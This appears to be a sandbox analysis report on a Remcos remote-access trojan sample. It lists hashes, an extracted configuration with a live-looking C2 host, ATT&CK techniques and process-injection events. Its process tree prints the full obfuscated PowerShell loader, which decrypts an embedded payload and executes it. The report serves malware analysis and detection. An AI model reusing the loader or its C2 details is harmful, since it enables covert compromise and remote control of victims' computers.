remcos | bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8

General

Target

bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8.vbs
Size

417KB
MD5

fd92f8bccf35e72fe49bab1b596eefce
SHA1

40ecaf11bef8907906b8ddea0ae7d90098a4cebc
SHA256

bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8
SHA512

d344643c03f233667a115149110cd89b3570c87012e578b1cf793b2515a524a3980a99b2c51712e406bd3ad92dcaa17f76eb81a8ab0a767ce5ee403dd428d0f6
SSDEEP

3072:sHGgwfzYF2hNe4VTdRnTT8w4TWEvqK3g4YpFka+bS7oNePYZCRAXG+al8zq:2wfzYF1vqP

Score

10^/10

remcos zynova discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

zynova

C2

2024remcmon.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-R2I0JW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 5112 powershell.exe
10 5112 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation WScript.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5112 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 5112 set thread context of 3844 5112 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

RegAsm.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5112 powershell.exe
5112 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5112 powershell.exe

flow	pid	process
7	5112	powershell.exe
10	5112	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
5112	powershell.exe

description	pid	process	target process
PID 5112 set thread context of 3844	5112	powershell.exe	RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

pid	process
5112	powershell.exe
5112	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5112	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4652 wrote to memory of 5112	4652	WScript.exe	powershell.exe
PID 4652 wrote to memory of 5112	4652	WScript.exe	powershell.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe
PID 5112 wrote to memory of 3844	5112	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5112

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- System Location Discovery: System Language Discovery
PID:3844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmrhinqj.bm4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3844-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-29-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-22-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-14-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-18-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-19-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-21-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-26-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-28-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3844-30-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/5112-6-0x00000105CC4A0000-0x00000105CC4C2000-memory.dmp

Filesize
136KB

Download
memory/5112-17-0x00007FFA800A0000-0x00007FFA80B61000-memory.dmp

Filesize
10.8MB

Download
memory/5112-13-0x00000105E7060000-0x00000105E7182000-memory.dmp

Filesize
1.1MB

Download
memory/5112-0-0x00007FFA800A3000-0x00007FFA800A5000-memory.dmp

Filesize
8KB

Download
memory/5112-12-0x00007FFA800A0000-0x00007FFA80B61000-memory.dmp

Filesize
10.8MB

Download
memory/5112-11-0x00007FFA800A0000-0x00007FFA80B61000-memory.dmp

Filesize
10.8MB

Download

Analysis

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